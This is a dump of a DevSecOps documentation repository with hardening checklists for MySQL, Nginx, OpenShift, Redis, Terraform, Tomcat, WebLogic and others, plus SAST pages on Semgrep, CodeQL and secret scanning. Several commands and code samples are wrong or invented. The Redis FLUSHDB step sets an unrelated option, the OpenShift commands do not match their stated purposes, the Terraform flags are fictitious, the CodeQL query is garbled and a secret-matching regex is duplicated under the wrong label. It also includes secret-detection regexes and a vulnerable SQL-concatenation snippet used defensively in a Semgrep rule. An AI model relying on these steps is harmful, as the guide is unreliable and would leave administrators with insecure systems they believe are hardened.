/etc/mongod.conf\n```\n\n\n### Enable firewalls and limit access to MongoDB ports\t\n\n```\nufw allow from 192.168.1.0/24 to any port 27017 proto tcp<br>ufw enable\n```"
  },
  {
    "path": "docs/checklists/mysql.md",
    "content": "---\nlayout: default\ntitle: MySQL\nparent: Checklists\n---\n\n# MySQL Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden MySQL for DevSecOps\n\n\n### Remove test database and anonymous user\t\n\n\n```\nmysql -u root -p -e \"DROP DATABASE IF EXISTS test; DELETE FROM mysql.user WHERE User=''; DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1'); FLUSH PRIVILEGES;\"\n```\n\n\n### Limit access to the root user\t\n\n\n```\nmysql -u root -p -e \"CREATE USER 'newuser'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON *.* TO 'newuser'@'localhost' WITH GRANT OPTION; FLUSH PRIVILEGES;\"\n```\n\n\n### Enable the query cache\t\n\n\n```\nmysql -u root -p -e \"SET GLOBAL query_cache_size = 67108864; SET GLOBAL query_cache_type = ON;\"\n```\n\n\n### Disable remote root login\t\n\n\nEdit `/etc/mysql/mysql.conf.d/mysqld.cnf` and set `bind-address` to the IP address of the MySQL server, then restart MySQL: `systemctl restart mysql`\n\n\n### Enable SSL for secure connections\t\t\n\nEdit `/etc/mysql/mysql.conf.d/mysqld.cnf` and add the following lines: `ssl-ca=/etc/mysql/certs/ca-cert.pem` `ssl-cert=/etc/mysql/certs/server-cert.pem ssl-key=/etc/mysql/certs/server-key.pem` Then restart MySQL: `systemctl restart mysql`\n\n"
  },
  {
    "path": "docs/checklists/nginx.md",
    "content": "---\nlayout: default\ntitle: Nginx\nparent: Checklists\n---\n\n# Nginx Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Nginx for DevSecOps\n\n\n### Disable server tokens\t \n\n```\nserver_tokens off;\n```\n\n### Set appropriate file permissions \n\n`chmod 640 /etc/nginx/nginx.conf` or `chmod 440 /etc/nginx/nginx.conf` depending on your setup \n\n### Implement SSL/TLS with appropriate ciphers and protocols \n\n`ssl_protocols TLSv1.2 TLSv1.3;` <br> `ssl_ciphers HIGH:!aNULL:!MD5;` \n\n### Enable HSTS \n\n```\nadd_header Strict-Transport-Security \"max-age=31536000; includeSubdomains; preload\";\n```\n\n### Set up HTTP/2 \n\n`listen 443 ssl http2;` \n\n### Restrict access to certain directories \n\n`location /private/ { deny all; }` \n\n### Disable unnecessary modules \n\nComment out or remove unused modules from `nginx.conf` file. \n\n### Implement rate limiting \n\n```\nlimit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;\n```\n\n### Implement buffer overflow protection \n\n`proxy_buffer_size 128k;` <br> `proxy_buffers 4 256k;` <br> `proxy_busy_buffers_size 256k;` \n\n### Implement XSS protection \n\n`add_header X-XSS-Protection \"1; mode=block\";` \n"
  },
  {
    "path": "docs/checklists/openshift.md",
    "content": "---\nlayout: default\ntitle: OpenShift\nparent: Checklists\n---\n\n# OpenShift Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden OpenShift for DevSecOps\n\n\n### Disable insecure protocols and ciphers\t\n\n```\noc adm policy reconcile-cluster-role-binding\n```\n\nEnable authentication and RBAC\n\n```\noc adm policy add-cluster-role-to-user\n```\n\nLimit privileged access to the cluster\t\n\n```\noc adm policy add-scc-to-user\n```\n\nEnable audit logging\t\n\n```\noc adm audit\n```\n\nEnforce resource limits and quotas\t\n\n\n```\noc adm pod-network\n```\n\nEnable network policies for isolation\t\n\n```\noc create networkpolicy\n```\n\nConfigure container runtime security\t\n\n```\noc adm policy add-scc-to-group\n```\n\nSecure etcd and master nodes\t\n\n```\noc adm manage-node\n```\n\nRegularly update and patch OpenShift components\t\n\n```\noc adm upgrade\n```\n\nEnable image signing and verification\t\n\n```\noc image sign\n```\n\nUse secure registry for image pull\t\n\n```\noc create secret\n```\n\nEnable encryption for data in transit\t\n\n```\noc adm router\n```\n\nHarden worker node security\t\n\n```\noc adm manage-node\n```\n\nImplement multi-factor authentication\t\n\n```\noc adm policy\n```\n\nEnable centralized logging and monitoring\t\n\n```\noc adm logs\n```"
  },
  {
    "path": "docs/checklists/redis.md",
    "content": "---\nlayout: default\ntitle: Redis\nparent: Checklists\n---\n\n# Redis Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Redis for DevSecOps\n\n\n### Disable the CONFIG command\n\n\n```\nredis-cli config set config-command \" \"\n```\n\n\n### Disable the FLUSHDB and FLUSHALL commands\n\n\n```\nredis-cli config set stop-writes-on-bgsave-error yes\n```\n\n\n### Enable authentication\n\n\nSet a password in the Redis configuration file (`redis.conf`) using the `requirepass` directive. Restart Redis service to apply changes.\n\n\n\n### Bind Redis to a specific IP address\t\n\n\nEdit the `bind` directive in the Redis configuration file to specify a specific IP address.\n\n\n\n### Enable SSL/TLS encryption\t\n\n\nEdit the `redis.conf` file to specify SSL/TLS options and certificate files. Restart Redis service to apply changes.\n\n\n### Disable unused Redis modules\t\n\n\nEdit the `redis.conf` file to disable modules that are not needed. Use the `module-load` and `module-unload` directives to control modules.\n\n\n### Set limits for memory and connections\t\n\nEdit the `maxmemory` and `maxclients` directives in the `redis.conf` file to set limits for Redis memory and connections.\n\n\n### Monitor Redis logs\n\nRegularly check Redis logs for suspicious activities and errors. Use a log analyzer tool to help detect anomalies.\n\n\n### Regularly update Redis\n\nKeep Redis up-to-date with the latest security patches and updates. Monitor vendor security advisories for any vulnerabilities that may affect Redis.\n"
  },
  {
    "path": "docs/checklists/saltstack.md",
    "content": "---\nlayout: default\ntitle: SaltStack\nparent: Checklists\n---\n\n# SaltStack Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden SaltStack for DevSecOps\n\n\n### Generate SSL certificates for SaltStack communication\n\n```\nsalt-call --local tls.create_self_signed_cert\n```\n\n### Enable SSL encryption for SaltStack communication by updating the Salt master configuration file\n\n```\n# /etc/salt/master\nssl_cert: /etc/pki/tls/certs/salt.crt\nssl_key: /etc/pki/tls/private/salt.key\n``` \n\n### Disable unnecessary services and open ports\t\n\nDisable unused services and close unnecessary ports on Salt Master and Salt Minions\n\n\n### Restrict network access\t\n\nConfigure firewalls or network ACLs to allow access only from trusted sources\n\n\n### Manage Salt Minion keys securely\n\nProperly distribute, manage, and secure Salt Minion keys\n\n\n\n### Implement strong authentication\t\n\nUtilize strong passwords or key-based authentication for Salt Master and Minion access\n\n\n### Secure Salt Minions\n\n\n- [x] Securely distribute and manage Salt Minion keys.\n- [x] Disable unnecessary services and open ports on Salt Minions.\n- [x] Restrict network access to Salt Minions using firewalls or network ACLs.\n- [x] Enable authentication mechanisms, such as TLS/SSL, for secure communication.\n- [x] Implement strong passwords or key-based authentication for Salt Minion access.\n- [x] Regularly update Salt Minions to the latest stable version.\n- [x] Enable logging on Salt Minions and monitor logs for security events.\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/checklists/sbom.md",
    "content": "---\nlayout: default\ntitle: SBOM\nparent: Checklists\n---\n\n# SBOM Security Checklist for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to SBOM for DevSecOps\n\n\n\n\n### Generate SBOM for your software\n\n```\ncyclonedx-bom -o sbom.xml\n```\n\n\n### Validate the generated SBOM   \n\n```\nbom-validator sbom.xml\n```\n\n### Integrate SBOM generation in CI/CD pipeline              \n\n```\nAdd SBOM generation step in CI/CD script\n```\n\n\n### Regularly update the SBOM tools \n\n```\napt-get update && apt-get upgrade cyclonedx-bom\n```\n\n### Review and analyze SBOM for vulnerabilities\n\n```\nsbom-analyzer sbom.xml\n```\n\n### Ensure SBOM is comprehensive and includes all components\n\n```\nReview SBOM and add missing components\n```\n\n### Protect SBOM data with proper access controls  \n\n```\nConfigure access controls for SBOM data \n```\n\n\n### Monitor and update SBOM for each release      \n\n```\nAutomate SBOM update for each release\n```\n\n"
  },
  {
    "path": "docs/checklists/squid.md",
    "content": "---\nlayout: default\ntitle: Squid\nparent: Checklists\n---\n\n# Squid Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Squid for DevSecOps\n\n\n### Disable HTTP TRACE method\t\n\n\n```\nacl HTTP-methods method TRACE<br>http_access deny HTTP-methods\n```\n\n\n### Limit maximum object size\n\n\n```\nmaximum_object_size 1 MB\n```\n\n\n### Enable access logging\n\n\n```\naccess_log /var/log/squid/access.log\n```\n\n\n### Limit client connections\n\n\n`acl clients src 192.168.1.0/24`<br>`http_access allow clients`<br>`http_max_clients 50`\n\n\n\n### Restrict allowed ports\t\n\n\n`acl Safe_ports port 80 443 8080`<br>`http_access deny !Safe_ports`\n"
  },
  {
    "path": "docs/checklists/terraform.md",
    "content": "---\nlayout: default\ntitle: Terraform\nparent: Checklists\n---\n\n# Terraform Security Checklist for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to Terraform for DevSecOps\n\n\n\n\n### Enable detailed audit logging\n\n```\nterraform apply -var 'logging=true'\n```\n\n\n### Encrypt state files   \n\n```\nterraform apply -var 'encrypt=true'\n```\n\n### Use a strong backend access policy      \n\n```\nterraform apply -backend-config=\"...\"\n```\n\n\n### Limit the permissions of automation accounts \n\n```\nterraform apply -var 'permissions=limited'\n```\n\n### Rotate secrets and access keys regularly    \n\n```\nterraform apply -var 'rotate_secrets=true'\n```\n\n### Use version constraints in configuration files \n\n```\nterraform apply -var 'version=...\"\n```\n\n### Validate configuration files before applying \n\n```\nterraform validate\n```\n\n### Regularly update Terraform and providers\n\n```\nterraform init -upgrade\n```\n"
  },
  {
    "path": "docs/checklists/tomcat.md",
    "content": "---\nlayout: default\ntitle: Tomcat\nparent: Checklists\n---\n\n# Tomcat Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Tomcat for DevSecOps\n\n\n### Disable unused connectors\n\n Modify `server.xml` to remove the connectors not in use, e.g.:\n\n ```\n <Connector port=\"8080\" protocol=\"HTTP/1.1\"\n           connectionTimeout=\"20000\"\n           redirectPort=\"8443\" />\n ```\n\n\n### Use secure HTTPS configuration\n\nModify `server.xml` to enable HTTPS and configure SSL/TLS, e.g.:\n\n```\n<Connector port=\"8443\" protocol=\"HTTP/1.1\" SSLEnabled=\"true\"\n           maxThreads=\"150\" scheme=\"https\" secure=\"true\"\n           clientAuth=\"false\" sslProtocol=\"TLS\" \n           keystoreFile=\"/path/to/keystore\"\n           keystorePass=\"password\" />\n```\n\n\n### Disable version information in error pages\n\nModify `server.xml` to add the following attribute to the `<Host>` element:\n\n```\nerrorReportValveClass=\"org.apache.catalina.valves.ErrorReportValve\" showReport=\"false\" showServerInfo=\"false\"\n```\n\n\n### Use secure settings for Manager and Host Manager\n\nModify `tomcat-users.xml` to add roles and users with the appropriate permissions, e.g.:\n\n\n```\n<role rolename=\"manager-gui\"/>\n<user username=\"tomcat\" password=\"password\" roles=\"manager-gui\"/>\n```\n\n\n### Use secure settings for access to directories\n\nModify `context.xml` to add the following element to the `<Context>` element:\n\n\n```\n<Valve className=\"org.apache.catalina.valves.RemoteAddrValve\" allow=\"127\\.0\\.0\\.1|192\\.168\\.0\\.\\d+\"/>\n```\n\n\n"
  },
  {
    "path": "docs/checklists/weblogic.md",
    "content": "---\nlayout: default\ntitle: Weblogic\nparent: Checklists\n---\n\n# Weblogic Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Weblogic for DevSecOps\n\n\n### Disable default accounts and passwords\t  \n\n```\nwlst.sh $WL_HOME/common/tools/configureSecurity.py -removeDefaultConfig\n``` \n\n### Use secure administration port \n\n```\nwlst.sh $WL_HOME/common/tools/configureSecurity.py -securityModel=OPSS -defaultRealm -realmName=myrealm -adminPortEnabled=true -adminPort=9002 -sslEnabled=true -sslListenPort=9003\n```\n\n### Enable secure communications between servers \n\n```\nwlst.sh $WL_HOME/common/tools/configureSSL.py -action=create -identity keystore.jks -identity_pwd keystorepassword -trust keystore.jks -trust_pwd keystorepassword -hostName myhost.example.com -sslEnabledProtocols TLSv1.2 -enabledProtocols TLSv1.2 -keystoreType JKS -server SSL\n``` \n\n### Enable secure connections for JDBC data sources \n\n```\nwlst.sh $WL_HOME/common/tools/config/jdbc/SecureJDBCDataSource.py -url jdbc:oracle:thin:@//mydb.example.com:1521/HR -name myDataSource -user myuser -password mypassword -target myServer -trustStore myTrustStore.jks -trustStorePassword myTrustStorePassword -identityStore myIdentityStore.jks -identityStorePassword myIdentityStorePassword\n```\n\n### Restrict access to WebLogic console \n\nAdd `<security-constraint>` and `<login-config>` elements in `$DOMAIN_HOME/config/fmwconfig/system-jazn-data.xml` file \n\n### Enable Secure Sockets Layer (SSL) for Node Manager\t \n\n```\nwlst.sh $WL_HOME/common/tools/configureNodeManager.py -Dweblogic.management.server=http://myserver.example.com:7001 -Dweblogic.management.username=myusername -Dweblogic.management.password=mypassword -Dweblogic.NodeManager.sslEnabled=true -Dweblogic.NodeManager.sslHostnameVerificationIgnored=true -Dweblogic.NodeManager.KeyStores=CustomIdentityAndJavaTrust\n```"
  },
  {
    "path": "docs/checklists/webservice",
    "content": "---\nlayout: default\ntitle: Webservice\nparent: Checklists\n---\n\n# Webservice Security Checklist for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to Webservice for DevSecOps\n\n\n\n\n\n| 7  | Protect against SQL Injection                                 |                  |\n| 8  | Monitor and analyze web service logs                          | ``         |\n| 9  | Implement rate limiting                                       | ``                   |\n| 10 | Secure cookies                                                | `` |\n| 11 | Disable directory listing                                     | `Options -Indexes`                        |\n| 12 | Set X-Frame-Options header                                    | `Header always set X-Frame-Options DENY`  |\n| 13 | Set X-Content-Type-Options header                             | `Header always set X-Content-Type-Options nosniff` |\n| 14 | Set X-XSS-Protection header                                   | `Header always set X-XSS-Protection \"1; mode=block\"` |\n| 15 | Disable unused modules and features                           | Disable unused modules in web service configuration |\n| 16 | Ensure proper access controls                                 | Configure proper access controls          |\n| 17 | Implement network segmentation                                | Configure network segmentation            |\n| 18 | Use a secure configuration for the web server                 | Apply secure configuration settings       |\n| 19 | Regularly scan for vulnerabilities                            | Use a vulnerability scanner               |\n| 20 | Ensure proper error handling                                  | Configure custom error pages              |\n| 21 | Implement security headers                                    | `Header always set Strict-Transport-Security \"max-age=31536000\"` |\n| 22 | Use secure ciphers and protocols                              | Configure secure ciphers and protocols    |\n| 23 | Regularly audit access and activity logs                      | Schedule regular audits of logs           |\n| 24 | Backup web service configurations and data                    | Schedule regular backups                  |\n| 25 | Educate and train staff on security best practices            | Conduct regular security training sessions |\n\n\n\n### Enable HTTPS\n\n```\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365\n```\n\n\n### Configure Content Security Policy (CSP)  \n\n```\nHeader set Content-Security-Policy \"default-src 'self';\"\n```\n\n### Limit HTTP methods              \n\n```\nAllowMethods GET POST\n```\n\n### Enable Web Application Firewall (WAF)\n\n```\nmod_security on\n```\n\n### Regularly update web service software\n\n```\napt-get update && apt-get upgrade\n```\n\n### Implement input validation \n\n```\nImplement server-side input validation\n```\n\n### Protect against SQL Injection \n\n```\nUse parameterized queries\n```\n\n\n### Monitor and analyze web service logs  \n\n```\ntail -f /var/log/webservice.log\n```\n\n\n### Implement rate limiting \n\n```\nLimitRequestRate 20 5\n```\n\n\n### Secure cookies \n\n```\nHeader edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure\n```\n\n###  Disable directory listing   \n\n```\nOptions -Indexes\n```\n\n### Set X-Frame-Options header \n\n```\nHeader always set X-Frame-Options DENY\n```\n\n### Set X-Content-Type-Options header  \n\n```\nHeader always set X-Content-Type-Options nosniff\n```\n\n### Set X-XSS-Protection header\n\n```\nHeader always set X-XSS-Protection \"1; mode=block\"\n```\n\n### Disable unused modules and features \n\n```\nDisable unused modules in web service configuration\n```\n\n### Ensure proper access controls   \n\n```\nConfigure proper access controls\n```\n\n### Implement network segmentation     \n\n```\nConfigure network segmentation\n```\n\n### Use a secure configuration for the web server\n\n```\nApply secure configuration settings\n```\n\n### Regularly scan for vulnerabilities  \n\n```\nUse a vulnerability scanner \n```\n\n### Ensure proper error handling\n\n```\nConfigure custom error pages\n```\n\n### Implement security headers  \n\n```\nHeader always set Strict-Transport-Security \"max-age=31536000\"\n```\n\n### Use secure ciphers and protocols \n\n```\nConfigure secure ciphers and protocols \n```\n\n### Regularly audit access and activity logs \n\n```\nSchedule regular audits of logs\n```\n\n### Backup web service configurations and data  \n\n```\nSchedule regular backups \n```\n\n### Educate and train staff on security best practices\n\n```\nConduct regular security training sessions\n```\n"
  },
  {
    "path": "docs/code/code.md",
    "content": "---\nlayout: default\ntitle: Code\nnav_order: 3\nhas_children: true\npermalink: docs/code\n---\n\n# Code\n{: .no_toc }\n\n{: .fs-6 .fw-300 }\n"
  },
  {
    "path": "docs/code/sast.md",
    "content": "---\nlayout: default\ntitle:  SAST\nparent: Code\n---\n\n# SAST\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\nSAST, or Static Application Security Testing, is a technique used in application security to analyze the source code of an application for security vulnerabilities. SAST tools work by scanning the source code of an application without actually executing the code, searching for common coding errors, security flaws, and potential vulnerabilities.\n\nSAST is a type of white-box testing, meaning that it relies on the tester having access to the source code of the application being tested. This allows SAST tools to perform a thorough analysis of the codebase, identifying potential vulnerabilities that may not be apparent through other testing techniques.\n\n\n\n\n| SAST Tool    | Description   | Languages Supported |\n|:---------------|:---------------------|:---------------------|\n| `Checkmarx` | A SAST tool that analyzes source code for security vulnerabilities, providing real-time feedback to developers on potential issues.\t | Java, .NET, PHP, Python, Ruby, Swift, C/C++, Objective-C, Scala, Kotlin, JavaScript |\n| `SonarQube` | A tool that provides continuous code inspection, identifying and reporting potential security vulnerabilities, as well as code quality issues.\t | Over 25 programming languages, including Java, C/C++, Python, JavaScript, PHP, Ruby |\n| `Fortify Static Code Analyzer` | A SAST tool that analyzes source code for security vulnerabilities, providing detailed reports and recommendations for improving security.\t | Java, .NET, C/C++, Python, JavaScript |\n| `Veracode Static Analysis` | A SAST tool that analyzes code for security vulnerabilities and compliance with industry standards, providing detailed reports and actionable recommendations.\t | Over 25 programming languages, including Java, .NET, Python, Ruby, PHP, JavaScript, C/C++ |\n| `Semgrep` | Semgrep is designed to be fast and easy to use, and it supports multiple programming languages, including Python, Java, JavaScript, Go, and more. It uses a simple pattern matching language to identify patterns of code that are known to be vulnerable, and it can be configured to scan specific parts of a codebase, such as a single file or a directory.\t | Over 25 programming languages, including Java, .NET, Python, Ruby, PHP, JavaScript, C/C++ |\n| `CodeQL` | CodeQL is based on a database of semantic code representations that allows it to perform complex analysis on code that other static analysis tools may miss. It supports a wide range of programming languages, including C, C++, C#, Java, JavaScript, Python, and more. CodeQL can be used to analyze both open source and proprietary code, and it can be used by both developers and security researchers.\t | Over 25 programming languages, including Java, .NET, Python, Ruby, PHP, JavaScript, C/C++ |\n\n\n\n\n\n## Semgrep\n\nSemgrep is designed to be fast and easy to use, and it supports multiple programming languages, including Python, Java, JavaScript, Go, and more. It uses a simple pattern matching language to identify patterns of code that are known to be vulnerable, and it can be configured to scan specific parts of a codebase, such as a single file or a directory.\n\nSemgrep can be used as part of the software development process to identify vulnerabilities early on, before they can be exploited by attackers. It can be integrated into a CI/CD pipeline to automatically scan code changes as they are made, and it can be used to enforce security policies and coding standards across an organization.\n\ncreate a sample rule. Here are the steps:\n\n1. Install and set up Semgrep: To use Semgrep, you need to install it on your system. You can download Semgrep from the official website, or install it using a package manager like pip. Once installed, you need to set up a project and configure the scan settings.\n\n2. Create a new Semgrep rule: To create a new Semgrep rule, you need to write a YAML file that defines the rule. The YAML file should contain the following information:\n\n* The rule ID: This is a unique identifier for the rule.\n* The rule name: This is a descriptive name for the rule.\n* The rule description: This describes what the rule does and why it is important.\n* The rule pattern: This is the pattern that Semgrep will use to search for the vulnerability.\n* The rule severity: This is the severity level of the vulnerability (e.g. high, medium, low).\n* The rule language: This is the programming language that the rule applies to (e.g. Python, Java, JavaScript).\n* The rule tags: These are optional tags that can be used to categorize the rule.\n\n\nHere is an example rule that checks for SQL injection vulnerabilities in Python code:\n\n```\nid: sql-injection-py\nname: SQL Injection in Python Code\ndescription: Checks for SQL injection vulnerabilities in Python code.\nseverity: high\nlanguage: python\ntags:\n  - security\n  - sql-injection\npatterns:\n  - pattern: |\n      db.execute(\"SELECT * FROM users WHERE username = '\" + username + \"' AND password = '\" + password + \"'\")\n    message: |\n      SQL injection vulnerability found in line {line}: {code}\n```\n\n3. Run Semgrep with the new rule: Once you have created the new rule, you can run Semgrep to scan your code. To run Semgrep, you need to specify the path to the code you want to scan and the path to the YAML file that contains the rule. Here is an example command:\n\n```\nsemgrep --config path/to/rule.yaml path/to/code/\n```\n\n4. Review the scan results: After the scan is complete, Semgrep will display the results in the terminal. The results will include information about the vulnerabilities that were found, including the severity level, the location in the code where the vulnerability was found, and the code that triggered the rule.\n\n\nhow to use Semgrep in a CI/CD pipeline on GitHub:\n\n1. Set up Semgrep in your project: To use Semgrep in your CI/CD pipeline, you need to install it and set it up in your project. You can do this by adding a semgrep.yml file to your project's root directory. The semgrep.yml file should contain the rules that you want to apply to your codebase.\n\nHere is an example semgrep.yml file that checks for SQL injection vulnerabilities in Python code:\n\n```\nrules:\n  - id: sql-injection-py\n    pattern: db.execute(\"SELECT * FROM users WHERE username = $username AND password = $password\")\n```\n\n2. Create a GitHub workflow: Once you have set up Semgrep in your project, you need to create a GitHub workflow that runs Semgrep as part of your CI/CD pipeline. To create a workflow, you need to create a .github/workflows directory in your project and add a YAML file that defines the workflow.\n\n\nHere is an example semgrep.yml workflow that runs Semgrep on every push to the master branch:\n\n```\nname: Semgrep\non:\n  push:\n    branches:\n      - master\njobs:\n  semgrep:\n    runs-on: ubuntu-latest\n    steps:\n    - name: Checkout code\n      uses: actions/checkout@v2\n    - name: Run Semgrep\n      uses: returntocorp/semgrep-action@v1\n      with:\n        args: -c semgrep.yml\n\n```\n\n\n3. Push changes to GitHub: Once you have created the workflow, you need to push the changes to your GitHub repository. This will trigger the workflow to run Semgrep on your codebase.\n\n4. Review the results: After the workflow has completed, you can review the results in the GitHub Actions tab. The results will include information about the vulnerabilities that were found, including the severity level, the location in the code where the vulnerability was found, and the code that triggered the rule.\n\n\n\n## CodeQL\n\nCodeQL is based on a database of semantic code representations that allows it to perform complex analysis on code that other static analysis tools may miss. It supports a wide range of programming languages, including C, C++, C#, Java, JavaScript, Python, and more. CodeQL can be used to analyze both open source and proprietary code, and it can be used by both developers and security researchers.\n\nTo use CodeQL, developers write queries in a dedicated query language called QL. QL is a declarative language that allows developers to express complex analyses in a concise and understandable way. Queries can be written to check for a wide range of issues, such as buffer overflows, SQL injection vulnerabilities, race conditions, and more.\n\nCodeQL can be integrated into a variety of development tools, such as IDEs, code review tools, and CI/CD pipelines. This allows developers to run CodeQL automatically as part of their development process and catch issues early in the development cycle.\n\nHere is an example of how to create a CodeQL rule and run it:\n\n1. Identify the issue: Let's say we want to create a CodeQL rule to detect SQL injection vulnerabilities in a Java web application.\n\n2. Write the query: To write the query, we can use the CodeQL libraries for Java and the CodeQL built-in functions for detecting SQL injection vulnerabilities. Here is an example query:\n\n\n```\nimport java\n\nclass SqlInjection extends JavaScript {\n  SqlInjection() {\n    this = \"sql injection\"\n  }\n\n  from MethodCall call, DataFlow::PathNode arg, SQL::StringExpression sqlExpr\n  where call.getMethod().getName() = \"executeQuery\" and\n        arg = call.getArgument(1) and\n        arg = sqlExpr.getAnOperand() and\n        exists (SQL::TaintedFlow tainted |\n          tainted = dataFlow::taintThrough(arg, tainted) and\n          tainted.(SQL::Source) and\n          tainted.(SQL::Sink)\n        )\n  select call, \"Potential SQL injection vulnerability\"\n}\n\n```\n\nThis query looks for calls to the executeQuery method with a string argument that can be tainted with user input, and then checks if the argument is used in a way that could lead to a SQL injection vulnerability. If a vulnerability is detected, the query returns the call and a message indicating the potential vulnerability.\n\n3. Test the query: To test the query, we can run it against a small sample of our codebase using the CodeQL CLI tool. Here is an example command:\n\n```\n$ codeql query run --database=MyAppDB --format=csv --output=results.csv path/to/query.ql\n```\n\nThis command runs the query against a CodeQL database named MyAppDB and outputs the results to a CSV file named results.csv.\n\n4. Integrate the query: To integrate the query into our development process, we can add it to our CodeQL database and run it automatically as part of our CI/CD pipeline. This can be done using the CodeQL CLI tool and the CodeQL GitHub Action.\n\nHere is an example command to add the query to our CodeQL database:\n\n```\n$ codeql database analyze MyAppDB --queries=path/to/query.ql\n```\n\nAnd here is an example GitHub Action workflow to run the query automatically on every push to the master branch:\n\n```\nname: CodeQL\n\non:\n  push:\n    branches: [ master ]\n  pull_request:\n    branches: [ master ]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n\n    steps:\n    - name: Checkout code\n      uses: actions/\n```\n\n\n\n## Git\n\n1- Scan a Git Repository:\n\n\n\n```\ngitleaks --repo=/path/to/repository\n```\n\nor\n\n```\ntrufflehog --regex --entropy=True /path/to/repository\n```\n\n\n2- Specify Rules and Configurations\n\n```\ngitleaks --config=/path/to/config.yaml\n```\n\n\n3- Generate an HTML report of the scan results\n\n```\ntrufflehog --regex --entropy=True --output=results.html /path/to/repository\n```\n\n\n4- Generate JSON output for further processing or reporting\n\n```\ntrufflehog --json --output=results.json /path/to/repository\n```\n\n\nRegex List:\n\n| SAST Tool    | Description   | Languages Supported |\n|:---------------|:---------------------|:---------------------|\n| `API Keys` | Matches potential API keys, which are typically a combination of uppercase letters or alphanumeric characters with a minimum length of 24 characters.  | `(?:\\b|_)(?:[A-Z]{2,}|\\w{24,})(?:\\b|_)` |\n| `AWS Access Keys` | Matches potential API keys, which are typically a combination of uppercase letters or alphanumeric characters with a minimum length of 24 characters.  | `(?:\\b|_)(?:[A-Z]{2,}|\\w{24,})(?:\\b|_)` |\n| `Cryptocurrency Wallets` | Matches popular cryptocurrency wallet addresses, including Bitcoin (BTC), Ethereum (ETH), Litecoin (LTC), Monero (XMR), and Dogecoin (DOGE).  | `(?i)(?:btc|bitcoin|eth|ethereum|ltc|litecoin|xmr|monero|doge|dogecoin)(?:[1-9A-HJ-NP-Za-km-z]{25,34})` |\n| `Email Addresses` | Matches email addresses with alphanumeric characters, dots, underscores, hyphens, and a domain with at least two letters.  | `[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,}` |\n| `Private Keys` | Matches 40-character base64-encoded strings, often used for private keys.  | `(?:[^a-zA-Z0-9/+]|^)([a-zA-Z0-9/+]{40})(?:[^a-zA-Z0-9/+]|$)` |\n| `Passwords` | Matches passwords or passphrases of at least 8 characters, preceded by \"password\", \"passphrase\", or \"secret\" and followed by a whitespace character, colon, or URL-encoded colon (%3A).  | `(?i)(?:pass(?:word|phrase)|secret)(?:[\\s:=]|%3A)([\"']?[\\w!@#$%^&*()]{8,}[\"']?)` |\n| `Social Security Numbers (SSN)` | Matches U.S. Social Security Numbers with or without dashes.  | `\\d{3}[-]?\\d{2}[-]?\\d{4}` |\n| `URLs with Query Parameters` | Matches URLs with query parameters, ensuring that the query parameter contains at least one character.  | `(http|https):\\/\\/[^\\s/$.?#].[^\\s]*\\?[^\\s]*` |\n| `Credit Card Numbers` | Matches 16-digit credit card numbers, with or without dashes or spaces in the format XXXX-XXXX-XXXX-XXXX or XXXXXXXXXXXXXXXX.  | `(\\d{4}[- ]){3}\\d{4}|\\d{16}` |\n\n\n\n## SBOM\n\n1- Generate SBOM from Maven Project:\n\n```\nmvn org.cyclonedx:cyclonedx-maven-plugin:makeBom\n```\n\n2- Generate SBOM from Gradle Project\n\n```\n./gradlew cyclonedx\n```\n\n3- Specify Output Format\n\n```\nmvn org.cyclonedx:cyclonedx-maven-plugin:makeBom --format XML\n```\n\n4- Include Hashes in SBOM\n\n```\nmvn org.cyclonedx:cyclonedx-maven-plugin:makeBom -DincludeHashes=true\n```\n\n\n5- Exclude Specific 